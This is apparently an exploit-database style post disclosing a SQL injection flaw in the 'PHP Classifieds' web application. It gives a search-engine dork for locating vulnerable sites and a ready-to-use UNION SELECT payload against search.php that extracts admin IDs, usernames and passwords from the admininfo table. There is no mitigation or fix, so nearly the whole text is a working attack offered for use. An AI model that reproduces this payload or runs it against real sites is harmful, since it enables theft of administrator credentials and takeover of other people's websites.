11 lines
No EOL
476 B
Text
11 lines
No EOL
476 B
Text
> #######################################################################
|
|
> # Source: PHP Classifieds SQL injection Vulnerability
|
|
> # Download: http://preproject.com/products.asp
|
|
> # Dork : Power by PHP Classifieds
|
|
> # Author: Sangteamtham@gmail.com
|
|
> #
|
|
> #######################################################################
|
|
|
|
Exploit:
|
|
http://localhost/clas/search.php?category=999999 UNION SELECT
|
|
group_concat(adminid,0x3a,username,0x3a,password) from admininfo-- |